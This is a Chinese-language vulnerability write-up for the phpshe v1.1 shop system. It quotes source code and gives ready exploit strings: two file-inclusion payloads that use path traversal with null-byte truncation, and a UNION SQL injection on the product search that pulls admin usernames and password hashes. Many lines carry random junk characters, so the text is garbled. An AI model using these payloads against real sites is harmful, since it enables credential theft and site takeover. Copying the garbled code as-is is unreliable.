phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
" P$ X( G3 X) k7 m5 a6 q+ \/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/ S: T; Y2 E0 ?8 A% p" D* `) P+ G/*******************************************************/
& K8 h$ L9 ]$ K' J0 Q$ e* G% e0×00 整体大概参数传输



$ W7 a% f& ~. H  a/ e//common.php
$ A  K" S6 x1 x' `% w3 Nif (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
3 x( F5 w6 V% Y% x/ ~!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
7 O" L) o8 n+ k9 v6 c4 ]" [/ ^+ |% R!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
6 O' _# [) t: M!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
' I! d5 i" ^9 L" Y& S!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
3 [: A& u9 c% A8 p; n
0×01 包含漏洞

) i% C6 \8 @7 C1 `4 N( c% u
//首页文件
8 G4 Y$ H4 g5 L3 k) I; A" V8 \2 o<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
% d8 A: _' f) y4 e" J" ]. ainclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
+ n( N  h9 @' R6 y. }+ g?>
: W, Q/ p0 m, n9 q. m. m% O: s5 [//common 文件 第15行开始
# z$ p$ e( I) {" X% eurl路由配置
" k) ^" ]- J8 u$ _% S2 c8 D1 I$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
7 |$ z3 F4 K# E! x7 |! j$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
1 _5 R6 {  Y* h; j//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

& u% i+ b# W; P5 P( o" d 0×02 搜索注入
8 j) H1 }+ l6 F% J3 ]% b2 ]
<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
$ b7 P4 @1 v/ y& N/ C$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
5 k3 E9 d0 X: [4 J3 L$ v$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
- c; Z7 O9 m, X6 D+ M; x& ]if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
! t' v1 ^) o" r) V6 u; O* s}
- B% D" |# e2 p' J* s* g$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
3 D8 _2 N5 q! |$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
9 t/ o$ p+ h3 V0 Q) g+ j& V}
else {
3 |- F3 q1 ^( p$ g  v+ ]$sqlwhere .= " order by `product_id` desc";
}
2 l! a! w" Y; o, J  S$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
. z4 M* a8 `$ n9 |2 O//热卖排行
6 _: K# k3 G: y$ n$product_hotlist = product_hotlist();
, F8 o( H" a/ D/ t//当前路径
$nowpath = category_path($category_id);
! _4 _& ]  G5 M4 g$seo = pe_seo($info['category_name']);
# l! J) u8 P1 l. [7 pinclude(pe_tpl('product_list.html'));
* u0 _0 ?7 k6 }! ?1 S7 r: A* a//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
( A3 |2 \1 |# B4 P! q{
& r4 ?! w' \4 {3 n6 @' R' w: o* `//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
4 P! ?& l: a, ~$ Q# ]5 V* ?6 s}
9 e1 B3 y2 i& D9 ~+ J//exp
& E( Q) I. M4 L7 yproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>
) E# E) N; g/ T- G, j& w
0×03 包含漏洞2

3 M- _: X* o6 Z0 _<code id="code3">

//order.php

case 'pay':

" i3 Q4 N1 j, H  F$order_id = pe_dbhold($_g_id);

7 W% p7 l, S6 Z! V6 J+ S$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

7 @3 k- Q! ^6 u6 }$ p$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$ r3 H# t: E! n# y' s% E$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

# N( C3 C3 L- F$ V}

}

# j8 s' e* W+ t5 ^& F3 F  `. L$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

, Q( t8 ~' g7 O4 y5 K* ~) a! a!$order['order_id'] && pe_error('订单号错误...');

$ {5 u- u- B+ f" Dif (isset($_p_pesubmit)) {

( y; F$ `* k* K. Nif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

# S5 ?. p7 S) O$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
  ]2 M& ^# J6 [% `  |4 o

}

5 A' n0 K% y& E5 j* g1 eecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

9 h9 R( M2 D$ U1 I2 n}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

pe_error('支付错误...');

}

  q, B! H% V. L) H# z9 M3 d: i}

5 V/ [. ~& E( x: g2 H$ [$seo = pe_seo('选择支付方式');

8 ]* }# l' U, W& u; binclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
, L  B2 `5 ^# b' ]( r+ \% v3 |9 Thttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg